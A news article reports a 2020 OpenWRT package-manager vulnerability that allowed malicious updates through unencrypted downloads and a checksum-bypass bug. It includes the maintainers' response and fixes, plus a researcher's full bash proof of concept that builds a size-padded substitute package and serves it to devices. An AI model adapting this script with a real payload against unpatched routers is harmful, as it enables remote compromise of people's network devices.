NOT THE FILE YOU'RE LOOKING FOR —

OpenWRT code-execution bug puts millions of devices at risk

A partial fix mitigates the risk, but the lack of encryption and other weaknesses remain.

DAN GOODIN - 3/31/2020, 4:25 PM

OpenWRT

Enlarge

For almost three years, OpenWRT—the open source operating system that powers home routers and other types of embedded systems—has been vulnerable to remote code-execution attacks because updates were delivered over an unencrypted channel and digital signature verifications are easy to bypass, a researcher said.

OpenWRT has a loyal base of users who use the freely available package as an alternative to the firmware that comes installed on their devices. Besides routers, OpenWRT runs on smartphones, pocket computers and even laptops and desktop PCs. Users generally find OpenWRT to be a more secure choice because it offers advanced functions and its source code is easy to audit.

Security researcher Guido Vranken, however, recently found that updates and installation files were delivered over unencrypted HTTPs connections, which are open to attacks that allow adversaries to completely replace legitimate updates with malicious ones. The researcher, who works for security firm ForAllSecure, also found that it was trivial for attackers with moderate experience to bypass digital-signature checks that verify a downloaded update as the legitimate one offered by OpenWTR maintainers. The combination of those two lapses makes it possible to send a malicious update that vulnerable devices will automatically install.

Exploits not for everyone

These code-execution exploits are limited in their scope because adversaries must either be in a position to conduct a man-in-the-middle attack or tamper with the DNS server that a device uses to find the update on the Internet. That means routers on a network that has no malicious users and using a legitimate DNS server are safe from attack. Vranken also speculates that packet spoofing or ARP cache poisoning may also make attacks possible, but he cautions that he didn't test either method.

Despite the requirements, many networks connect people who are unknown or untrusted by the device operator. What's more, attacks that replace router settings pointing to a legitimate DNS to a malicious one are a fact of life on the Internet, as in-the-wild attack here, here, here, and here (to name just a few) demonstrate.

The lack of HTTPS encryption enforcement is one reason for the weakness. The encryption HTTPS provides makes it impossible for for man-in-the-middle attackers to tamper with data while it's in transit. Authentication assurances built into HTTPS also make it infeasible for attackers to impersonate downloads.openwrt.org, the real OpenWRT server that delivers legitimate updates and installation files. Updates could be installed from either an HTTP or HTTPS version of the downloads server.

Exploiting these weaknesses, Vranken was able to create a server that impersonated downloads.openwrt.org and served a malicious update. As long as the malicious file is the same size at the legitimate file, it was executed by a vulnerable device. In a post published last week, the researcher wrote:

> Doing this is trivial:
>
> - Create a package that is smaller than the original
> - Compute the size difference between the original package and the compromised package
> - Append this amount of zero bytes to the end of the compromised package

Vranken supplied the following proof-concept code:

```
#!/bin/bash

# Download the package lists for mirroring
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig

mv downloads.openwrt.org/snapshots .
rm -rf downloads.openwrt.org/

# Get the original package
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk
ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
tar zxf attr_2.4.48-2_x86_64.ipk
rm attr_2.4.48-2_x86_64.ipk

# Extract the binaries
mkdir data/
cd data/
tar zxvf ../data.tar.gz
rm ../data.tar.gz

# Build the replacement binary. It is a very small program that prints a string.
rm -f /tmp/pwned.asm /tmp/pwned.o
echo "section  .text" >>/tmp/pwned.asm
echo "global   _start" >>/tmp/pwned.asm
echo "_start:" >>/tmp/pwned.asm
echo " mov  edx,len" >>/tmp/pwned.asm
echo " mov  ecx,msg" >>/tmp/pwned.asm
echo " mov  ebx,1" >>/tmp/pwned.asm
```

```
echo " mov  eax,4" >>/tmp/pwned.asm
echo " int  0x80" >>/tmp/pwned.asm
echo " mov  eax,1" >>/tmp/pwned.asm
echo " int  0x80" >>/tmp/pwned.asm
echo "section  .data" >>/tmp/pwned.asm
echo "msg  db  'pwned :)',0xa" >>/tmp/pwned.asm
echo "len  equ $ - msg" >>/tmp/pwned.asm

# Assemble
nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o

# Link
ld /tmp/pwned.o -o usr/bin/attr

# Pack into data.tar.gz
tar czvf ../data.tar.gz *
cd ../

# Remove files no longer needed
rm -rf data/

# Pack
tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary

# Remove files no longer needed
rm control.tar.gz data.tar.gz debian-binary

# Compute the size difference between the original package and the compromised package
MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))"

# Pad the modified file to the expected size
head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk

# Download the dependency of attr
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk

# Position the files for serving from the web server
mkdir -p snapshots/packages/x86_64/packages/
mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/

# Launch a basic web server that opkg will be connecting to
sudo python -m SimpleHTTPServer 80
```

The lack of mandatory HTTPS is a deliberate decision by OpenWRT maintainers to accommodate devices that can only receive package manager files over unencrypted HTTP channels, Jo-Philipp Wich, a longtime contributor to the open-source project said in an interview. (Unlike updates, which are downloaded from a Website and manually installed, packages that add extra functions such as media servers can be downloaded and installed by the devices themselves.) To prevent attackers from exploiting the weakness Vranken found, OpenWRT maintainers require downloaded updates to match the SHA256 cryptographic hash of the legitimate one. If the hashes don't match, devices aren't supposed to execute the update.

Vranken, however, found that it was possible to bypass the hash check by adding a space to the beginning of an input string in the checksum_hex2bin function. Vranken said the bug appears to have been introduced in February 2017.

The fix

OpenWRT maintainers issued fixes in late January. The mitigation requires new installations to be "set out from a well-formed list that would not sidestep the hash verification." The researcher said described that update as a partial stopgap measure because attackers could replace the legitimate update with an older package list that was signed by the OpenWRT maintainers. From there, attackers can use the same exploits they would use on devices that haven't received the mitigation.

Wich, however strongly disputed the claim that the most recent updates don't fully address the vulnerability. A patch implemented on January 25 existed on OpenWRT servers only and still left open the possibility that attackers could swap out the legitimate update with an older version. Wich said that OpenWRT maintainers issued a second update on January 29 that patched the checksum bypass vulnerability in the device firmware itself. Once the update is installed it's no longer possible to force malicious packages on devices running OpenWRT.

Updates require users to use a standard browser to download a file and then manually install it on their device. While OpenWRT advisories always send HTTPS versions of the links, man-in-the-middle attackers can still downgrade connections to use HTTP, Wich said. That still makes it possible for man-in-the-middle attackers to downgrade the HTTPS connections to HTTP ones and serve malicious updates. Wich said that maintainers are considering a way to enforce HTTPS when browsers download updates.

OpenWRT users should install either version 18.06.7 or 19.07.1, and ensure the updates are served from an HTTPS connection. Contradicting Vranken's claim that these updates are only a stopgap measure, Wich said the patches permanently repair the vulnerability.

This post was updated on 4/1/2020 at 12:06 California time to add comment from OpenWRT's Wich.

Listing image by Marco Verch / Flickr

READER COMMENTS 52

SHARE THIS STORY

DAN GOODIN
Dan is the Security Editor at Ars Technica, which he joined in 2012 after working for The Register, the Associated Press, Bloomberg News, and other publications. Find him on Mastodon at: https://infosec.exchange/@dangoodin

EMAIL dan.goodin@arstechnica.com

Unsolved Mysteries Of Quantum Leap With Donald P. Bellisario

Today "Quantum Leap" series creator Donald P. Bellisario joins Ars Technica to answer once and for all the lingering questions we have about his enduringly popular show. Was Dr. Sam Beckett really leaping between all those time periods and people or did he simply imagine it all? What do people in the waiting room do while Sam is in their bodies? What happens to Sam's loyal ally Al? 30 years following the series finale, answers to these mysteries and more await.

Unsolved Mysteries Of Quantum Leap With Donald P. Bellisario

Unsolved Mysteries Of Warhammer 40K With Author Dan Abnett

SITREP: F-16 replacement search a signal of F-35 fail?

Sitrep: Boeing 707

Steve Burke of GamersNexus

More videos

← PREVIOUS STORY

NEXT STORY →

Related Stories

Today on Ars